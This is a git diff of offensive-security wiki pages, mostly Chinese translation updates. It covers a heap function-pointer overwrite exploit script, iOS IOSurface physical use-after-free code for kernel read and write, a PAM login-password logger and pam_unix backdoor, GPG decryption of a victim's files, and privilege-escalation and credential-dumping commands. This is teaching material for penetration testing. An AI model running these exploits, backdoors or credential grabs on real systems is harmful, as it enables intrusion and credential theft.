+total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..a0b376861 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Physical use-after-free + +这是对文章 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) 的总结,更多使用该技术的利用信息可以在 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) 找到。 + +### Memory management in XNU + +iOS 上用户进程的虚拟内存地址空间从 **0x0 到 0x8000000000**。但是这些地址并不直接映射到物理内存。相反,内核使用 **page tables** 来将虚拟地址转换为实际的 **physical addresses**。 + +#### Levels of Page Tables in iOS + +页表以三级层次结构组织: + +1. **L1 Page Table (Level 1)**: +* 此处的每个条目代表一大块虚拟内存区域。 +* 覆盖 **0x1000000000 bytes**(或 **256 GB**)的虚拟内存。 +2. **L2 Page Table (Level 2)**: +* 此处的每个条目代表比 L1 更小的虚拟内存区域,具体为 **0x2000000 bytes**(32 MB)。 +* 如果 L1 条目无法自行映射整个区域,它可能指向一个 L2 表。 +3. **L3 Page Table (Level 3)**: +* 这是最细粒度的级别,每个条目映射一个 **4 KB** 的内存页。 +* 如果需要更细的控制,L2 条目可能指向 L3 表。 + +#### Mapping Virtual to Physical Memory + +* **Direct Mapping (Block Mapping)**: + * 页表中的某些条目直接将一段虚拟地址范围映射到一段连续的物理地址(类似捷径)。 +* **Pointer to Child Page Table**: + * 如果需要更细的控制,一个级别(例如 L1)中的条目可以指向下一级的 **child page table**(例如 L2)。 + +#### Example: Mapping a Virtual Address + +假设你尝试访问虚拟地址 **0x1000000000**: + +1. **L1 Table**: +* 内核检查与该虚拟地址对应的 L1 页表条目。如果它包含一个指向 L2 page table 的指针,就转到该 L2 表。 +2. **L2 Table**: +* 内核检查 L2 页表以获得更详细的映射。如果该条目指向 L3 page table,就继续到 L3。 +3. **L3 Table**: +* 内核查找最终的 L3 条目,它指向实际内存页的 **物理地址**。 + +#### Example of Address Mapping + +如果你在 L2 表的第一个索引写入物理地址 **0x800004000**,那么: + +* 虚拟地址从 **0x1000000000** 到 **0x1002000000** 映射到物理地址从 **0x800004000** 到 **0x802004000**。 +* 这是在 L2 级别的 **block mapping**。 + +或者,如果 L2 条目指向一个 L3 表: + +* 虚拟地址范围 **0x1000000000 -> 0x1002000000** 中的每个 4 KB 页面将由 L3 表中的单独条目进行映射。 + +### Physical use-after-free + +当发生一个 **physical use-after-free (UAF)** 时,情况如下: + +1. 进程分配了一段可读写的内存。 +2. 内核更新 page tables,将这段内存映射到进程可访问的特定物理地址。 +3. 进程释放(deallocate)了该内存。 +4. 但是由于一个 **bug**,内核**忘记从页表中移除该映射**,尽管它将对应的物理内存标记为可重用。 +5. 内核随后可能将这块“已释放”的物理内存**重新分配**给其他用途,比如内核数据。 +6. 由于映射未被移除,进程仍然可以对这段物理内存进行**读写**。 + +这意味着进程可能访问到**内核内存页**,其中可能包含敏感数据或结构,攻击者可能借此**操纵内核内存**。 + +### IOSurface Heap Spray + +由于攻击者无法控制具体哪些内核页会被分配给被释放的内存,他们使用一种叫做 **heap spray** 的技术: + +1. 攻击者在内核内存中创建大量 IOSurface objects。 +2. 每个 IOSurface 对象在其某个字段中包含一个用于识别的 **magic value**,便于检测。 +3. 他们扫描那些已释放的页面,查看是否有这些 IOSurface 对象落在被释放的页面上。 +4. 一旦发现某个 IOSurface 对象位于被释放页面上,就可以利用它来**读写内核内存**。 + +更多信息见 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) + +> [!TIP] +> 注意,iOS 16+(A12+)设备引入了硬件缓解手段(例如 PPL 或 SPTM),这些措施使得 physical UAF 技术的可行性大大降低。 +> PPL 对与代码签名、权限(entitlements)和敏感内核数据相关的页面实施严格的 MMU 保护,因此即便某页被重用,从 userland 或被破坏的内核代码对受 PPL 保护页面的写入也会被阻止。 +> Secure Page Table Monitor (SPTM) 通过加强页表更新本身来扩展 PPL。它确保即使是高权限的内核代码也无法在不经过安全检查的情况下悄然重新映射已释放页面或篡改映射。 +> KTRR (Kernel Text Read-Only Region) 在启动后将内核的代码段锁定为只读。这阻止了对内核代码的运行时修改,封堵了 physical UAF 利用常依赖的一个主要攻击路径。 +> 另外,IOSurface 的分配变得更不可预测且更难映射回用户可访问区域,这使得“magic value 扫描”技巧变得不可靠。并且 IOSurface 现在受 entitlements 和 sandbox 限制的保护。 + +### Step-by-Step Heap Spray Process + +1. **Spray IOSurface Objects**: 攻击者创建大量带有特殊标识(“magic value”)的 IOSurface objects。 +2. **Scan Freed Pages**: 他们检查是否有对象被分配到已释放的页面上。 +3. **Read/Write Kernel Memory**: 通过操纵 IOSurface 对象中的字段,他们获得了在内核内存中进行**任意读写**的能力。这使他们能够: +* 使用一个字段来**读取内核内存中的任意 32-bit 值**。 +* 使用另一个字段来**写入 64-bit 值**,从而实现稳定的 **kernel read/write primitive**。 + +Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +在一个已释放的物理页面中搜索 **`IOSurface`** 对象: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### 使用 IOSurface 实现内核读/写 + +在获得对内核内的 IOSurface 对象的控制后(映射到可从用户态访问的已释放物理页面),我们可以用它进行 **任意内核读写操作**。 + +**IOSurface 的关键字段** + +IOSurface 对象有两个关键字段: + +1. **Use Count Pointer**:允许 **32-bit 读取**。 +2. **Indexed Timestamp Pointer**:允许 **64-bit 写入**。 + +通过覆写这些指针,可以将它们重定向到内核内的任意地址,从而实现读/写能力。 + +#### 32-Bit 内核读取 + +要执行一次读取: + +1. 将 **use count pointer** 覆写为指向目标地址减去 0x14 字节偏移的位置。 +2. 使用 `get_use_count` 方法读取该地址处的值。 +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64 位内核写入 + +要执行写入: + +1. 将 **索引时间戳指针** 覆盖为目标地址。 +2. 使用 `set_indexed_timestamp` 方法写入一个 64 位值。 +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### 利用流程回顾 + +1. **Trigger Physical Use-After-Free**:释放的页面可被重用。 +2. **Spray IOSurface Objects**:在内核内存中分配许多带有唯一 "magic value" 的 IOSurface 对象。 +3. **Identify Accessible IOSurface**:定位位于你控制的已释放页面上的 IOSurface。 +4. **Abuse Use-After-Free**:修改 IOSurface 对象中的指针,通过 IOSurface 方法实现任意 **kernel read/write**。 + +利用这些原语,漏洞利用能够对内核内存进行可控的 **32-bit reads** 和 **64-bit writes**。后续的 jailbreak 步骤可能需要更稳定的 read/write primitives,这可能要求绕过额外的保护(例如在较新的 arm64e 设备上的 PPL)。 + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 1834bc455..5d6bef83f 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,23 +4,23 @@ ## Sniffing Logon Passwords with PAM -让我们配置一个 PAM 模块以记录每个用户登录时使用的密码。如果你不知道 PAM 是什么,请查看: +让我们配置一个 PAM 模块来记录每个用户用于登录的密码。如果你不知道什么是 PAM,请查看: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**。这只是个摘要: +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**。这只是一个摘要: **Technique Overview:** -Pluggable Authentication Modules (PAM) 在基于 Unix 的系统上提供了管理认证的灵活性。通过自定义登录流程可以增强安全性,但如果被滥用也会带来风险。本文概要说明了如何利用 PAM 捕获登录凭据,并列出相应的缓解策略。 +Pluggable Authentication Modules (PAM) 为在基于 Unix 的系统上管理身份验证提供了灵活性。它们可以通过自定义登录流程来增强安全性,但如果被滥用也会带来风险。本摘要概述了一种使用 PAM 捕获登录凭证的技术,以及相应的缓解策略。 **Capturing Credentials:** -- 编写了一个名为 `toomanysecrets.sh` 的 bash 脚本来记录登录尝试,记录内容包括日期、用户名(`$PAM_USER`)、密码(通过 stdin)以及远程主机 IP(`$PAM_RHOST`),并写入到 `/var/log/toomanysecrets.log`。 -- 将脚本设为可执行,并通过 `pam_exec.so` 模块将其集成到 PAM 配置(`common-auth`)中,使用的选项使其静默运行并将认证令牌暴露给脚本。 -- 该方法演示了如何利用被攻陷的 Linux 主机悄然记录凭据。 +- 创建了一个名为 `toomanysecrets.sh` 的 bash 脚本,用于记录登录尝试,捕获日期、用户名(`$PAM_USER`)、密码(通过 stdin)以及远程主机 IP(`$PAM_RHOST`),并将其写入 `/var/log/toomanysecrets.log`。 +- 该脚本被赋予可执行权限,并通过在 PAM 配置(`common-auth`)中使用 `pam_exec.so` 模块集成,使用了静默运行并将认证令牌暴露给脚本的选项。 +- 该方法演示了被攻陷的 Linux 主机如何被利用以隐蔽地记录凭证。 ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -30,32 +30,32 @@ sudo nano /etc/pam.d/common-auth # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` -### Backdooring PAM +### 在 PAM 中植入后门 -**更多细节请查看 [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。 这里只是摘要: +**更多细节请查看 [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。下面只是一个摘要: -The Pluggable Authentication Module (PAM) 是 Linux 下用于用户认证的系统。它基于三个主要概念:**username**, **password**, 和 **service**。每个 service 的配置文件位于 `/etc/pam.d/` 目录,共享库负责处理认证。 +Pluggable Authentication Module (PAM) 是 Linux 下用于用户认证的系统。它基于三个主要概念:**username**, **password**, 和 **service**。每个 service 的配置文件位于 `/etc/pam.d/` 目录中,共享库负责处理认证。 -**目标**:修改 PAM,使其允许使用特定密码进行认证,绕过实际用户密码。重点是 `pam_unix.so` 这个由 `common-auth` 文件使用的共享库,几乎所有用于密码验证的 services 都会包含它。 +**目标**:修改 PAM,使其接受一个特定的密码进行认证,从而绕过实际用户密码。这里主要针对 `pam_unix.so` 共享库,该库由 `common-auth` 文件调用,而 `common-auth` 被几乎所有用于密码验证的 services 所包含。 -### Steps for Modifying `pam_unix.so`: +### 修改 `pam_unix.so` 的步骤: -1. **Locate the Authentication Directive** in the `common-auth` file: +1. **定位 Authentication 指令** 在 `common-auth` 文件中: - 负责检查用户密码的那一行会调用 `pam_unix.so`。 -2. **Modify Source Code**: -- 在 `pam_unix_auth.c` 源文件中添加一个条件判断:如果使用预定义密码则授予访问,否则继续正常的认证流程。 -3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. -4. **Testing**: -- 使用预定义密码可以在多个 services(login, ssh, sudo, su, screensaver)中获得访问,而正常的认证流程不受影响。 +2. **修改源代码**: +- 在 `pam_unix_auth.c` 源文件中添加一个条件判断:如果使用了预定义的密码则授予访问权限,否则按常规认证流程继续。 +3. **重新编译并替换** 修改后的 `pam_unix.so` 库到相应目录。 +4. **测试**: +- 使用预定义密码可以在多种服务(login, ssh, sudo, su, screensaver)上获得访问权限,而正常的认证流程保持不受影响。 > [!TIP] -> 你可以使用 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) 来自动化该过程 +> 你可以使用 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) 来自动化此过程 -## Decrypting GPG loot via homedir relocation +## 通过重定位 homedir 解密 GPG loot -如果你发现一个加密的 `.gpg` 文件和用户的 `~/.gnupg` 文件夹(pubring, private-keys, trustdb),但由于 GnuPG homedir 的权限或锁导致无法解密,可以将 keyring 复制到一个可写的位置并将其用作你的 GPG home。 +如果你发现一个被加密的 `.gpg` 文件并且找到了用户的 `~/.gnupg` 文件夹(pubring, private-keys, trustdb),但由于 GnuPG homedir 的权限/锁定无法解密,可以将 keyring 复制到一个可写的位置并将其作为你的 GPG home 使用。 -如果不这样,通常会看到错误:"unsafe ownership on homedir", "failed to create temporary file", 或 "decryption failed: No secret key"(因为 GPG 无法读/写原始 homedir)。 +在没有这样做时你通常会看到的错误有:"unsafe ownership on homedir", "failed to create temporary file", 或 "decryption failed: No secret key"(因为 GPG 无法读/写原始 homedir)。 工作流程: ```bash @@ -70,7 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` -如果私钥材料存在于 `private-keys-v1.d` 中,GPG 会在不提示 passphrase 的情况下解锁并解密(如果该密钥受保护则会提示)。 +如果秘密密钥材料存在于 `private-keys-v1.d` 中,GPG 将在不提示输入 passphrase 的情况下解锁并解密(或者如果密钥受保护则会提示)。 ## 参考资料 diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 1f6d5bb3e..29f0edcf6 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### 操作系统信息 -让我们开始收集一些关于正在运行的操作系统的信息。 +让我们开始收集关于正在运行的操作系统的一些信息 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### 路径 -如果你**对 `PATH` 变量中任何文件夹具有写权限**,你可能能够劫持某些库或二进制文件: +如果你 **对 `PATH` 变量中任何文件夹具有写入权限**,你可能能够劫持某些库或二进制文件: ```bash echo $PATH ``` ### 环境信息 -环境变量中是否包含有价值的信息、密码或 API 密钥? +在环境变量中是否有有趣的信息、密码或 API 密钥? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -检查 kernel 版本,查看是否存在可用于 escalate privileges 的 exploit。 +检查 kernel 版本,并查看是否存在可用于 escalate privileges 的 exploit。 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -你可以在这里找到一个不错的易受攻击的内核列表和一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -其他可以找到一些 **compiled exploits** 的网站: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +你可以在这里找到一个不错的易受攻击的内核列表以及一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -要从该网站提取所有易受攻击的内核版本,你可以这样做: +要从该网站提取所有易受攻击的内核版本,你可以这样做: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -可用于查找 kernel exploits 的工具有: +可以帮助搜索 kernel exploits 的工具有: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在 victim 上执行,仅检查针对 kernel 2.x 的 exploits) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在 victim 上执行,仅检查 kernel 2.x 的 exploits) -始终 **在 Google 中搜索 kernel 版本**,也许你的 kernel 版本写在某个 kernel exploit 中,这样你就能确认该 exploit 是否有效。 +始终 **在 Google 上搜索 kernel 版本**,也许你的 kernel 版本已在某个 kernel exploit 中被提及,这样你就能确定该 exploit 是否可用。 ### CVE-2016-5195 (DirtyCow) @@ -63,7 +63,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ```bash searchsploit sudo ``` -您可以使用此 grep 检查 sudo 版本是否易受影响。 +你可以使用这个 grep 检查 sudo 版本是否存在漏洞。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg 签名验证失败 -检查 **smasher2 box of HTB** 以获取如何利用此 vuln 的 **示例** +查看 **smasher2 box of HTB**,获取该 vuln 如何被利用的 **示例** ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 枚举可能的防御措施 +## 列举可能的防御措施 ### AppArmor ```bash @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -如果你在 docker container 内,你可以尝试 escape: +如果你在一个 docker 容器内,你可以尝试从中逃逸: + {{#ref}} docker-security/ @@ -131,69 +132,69 @@ docker-security/ ## 驱动器 -检查 **what is mounted and unmounted**,在哪里以及为什么。如果有任何是 unmounted 的,你可以尝试把它 mount 并检查是否有敏感信息。 +检查 **哪些已挂载或未挂载**、在哪儿以及为什么。如果有任何未挂载的项,你可以尝试将其挂载并检查是否有私有信息。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## 有用的软件 +## 实用软件 枚举有用的二进制文件 ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -另外,检查是否安装了 **任何编译器**。如果你需要使用某些 kernel exploit,建议在将要使用它的机器(或类似的机器)上编译它,因此这点很有用。 +另外,检查是否安装了 **任何编译器**。如果你需要使用某些 kernel exploit,这会很有用,因为建议在打算使用它的机器上(或在一台类似的机器上)进行编译。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 漏洞软件已安装 +### 已安装的易受攻击软件 -检查 **已安装软件包和服务的版本**。可能存在一些旧的 Nagios 版本(例如)可以被利用来进行 escalating privileges…\ +检查已安装的软件包和服务的**版本**。可能存在旧的 Nagios 版本(例如),可被利用来提权…\ 建议手动检查更可疑已安装软件的版本。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -如果你有对该机器的 SSH 访问权限,你也可以使用 **openVAS** 来检查机器内已安装的软件是否过时或存在已知漏洞。 +如果你有对该机器的 SSH 访问权限,你也可以使用 **openVAS** 来检查机器中已安装的过时和存在漏洞的软件。 -> [!NOTE] > _请注意,这些命令会显示大量大多无用的信息,因此建议使用像 OpenVAS 之类的应用来检查已安装软件版本是否容易被已知 exploits 利用。_ +> [!NOTE] > _请注意,这些命令会显示大量且大多无用的信息,因此建议使用像 OpenVAS 或类似的应用程序来检查已安装的软件版本是否存在已知 exploits 可利用的漏洞_ ## 进程 -查看 **正在执行的进程**,并检查是否有任何进程拥有 **超出应有的权限**(例如由 root 执行的 tomcat?) +查看正在执行的 **哪些进程**,并检查是否有任何进程拥有 **比它应有的更多权限**(也许某个 tomcat 由 root 执行?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测它们。\ +另外**检查你对进程二进制文件的权限**,也许你可以覆盖某些文件。 -### Process monitoring +### 进程监控 -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这在识别经常被执行或在满足特定条件时运行的易受攻击进程时非常有用。 -### Process memory +### 进程内存 -服务器上的某些服务会将 **凭据以明文保存到内存中**。\ -通常你将需要 **root privileges** 来读取属于其他用户的进程的内存,因此这通常在你已经是 root 并想发现更多凭据时更有用。\ -然而,记住 **作为普通用户你可以读取你所拥有的进程的内存**。 +有些服务器的服务会将**凭据以明文保存在内存中**。\ +通常你需要**root 权限**来读取属于其他用户的进程内存,因此这通常在你已经是 root 并想发现更多凭据时更有用。\ +但是,请记住,**作为普通用户你可以读取你所拥有的进程的内存**。 > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> 注意,如今大多数机器**默认不允许 ptrace**,这意味着你无法转储属于你非特权用户的其他进程。 > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> 文件 _**/proc/sys/kernel/yama/ptrace_scope**_ 控制 ptrace 的可访问性: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: 所有进程都可以被调试,只要它们具有相同的 uid。这是 ptrace 传统的工作方式。 +> - **kernel.yama.ptrace_scope = 1**: 只有父进程可以被调试。 +> - **kernel.yama.ptrace_scope = 2**: 只有管理员可以使用 ptrace,因为它需要 CAP_SYS_PTRACE 能力。 +> - **kernel.yama.ptrace_scope = 3**: 不允许使用 ptrace 跟踪任何进程。设置后,需重启才能再次启用 ptrace。 #### GDB -例如,如果你能够访问某个 FTP 服务的内存,你可以获取 Heap 并在其中搜索凭据。 +如果你可以访问一个 FTP 服务(例如)的内存,你可以获取 Heap 并在其中搜索凭据。 ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID,**maps 显示该进程的虚拟地址空间中内存是如何映射的**;它还显示每个映射区域的**权限**。**mem** 伪文件**暴露了进程的内存本身**。从 **maps** 文件我们可以知道哪些**内存区域是可读的**以及它们的偏移。我们使用这些信息**定位到 mem 文件并将所有可读区域转储**到一个文件。 +对于给定的进程 ID,**maps 显示内存如何在该进程的** 虚拟地址空间中被映射;它还显示**每个映射区域的权限**。该 **mem** 伪文件**暴露了进程的内存本身**。从 **maps** 文件我们知道哪些**内存区域是可读的**以及它们的偏移。我们使用这些信息**seek into the mem file and dump all readable regions** 到一个文件。 ```bash procdump() ( @@ -231,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` 提供对系统的 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\ -通常,`/dev/mem` 仅对 **root** 和 **kmem** 组可读。 +通常,`/dev/mem` 只有 **root** 和 **kmem** 组可读。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump 用于 linux +### ProcDump for linux -ProcDump 是对经典 ProcDump 工具的 Linux 重新构想,该工具来自 Sysinternals 的 Windows 工具套件。可在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取。 +ProcDump 是对 Sysinternals 工具套件中用于 Windows 的经典 ProcDump 工具在 Linux 平台上的重新实现。可从以下网址获取: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,10 +270,10 @@ Press Ctrl-C to end monitoring without terminating the process. 要转储进程内存,你可以使用: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 的要求并转储由你拥有的进程 -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并转储你拥有的进程 +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)(需要 root) -### 进程内存中的凭证 +### 从进程内存获取凭证 #### 手动示例 @@ -281,16 +282,16 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -你可以 dump the process(参见前面的章节以了解不同的方法来 dump the memory of a process),并在 memory 中搜索 credentials: +你可以 dump 该进程(参见前文以了解不同的进程内存 dump 方法),并在内存中搜索凭证: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会**从内存中窃取明文凭证**并从一些**已知文件**中获取凭证。它需要 root 权限才能正常工作。 +该工具 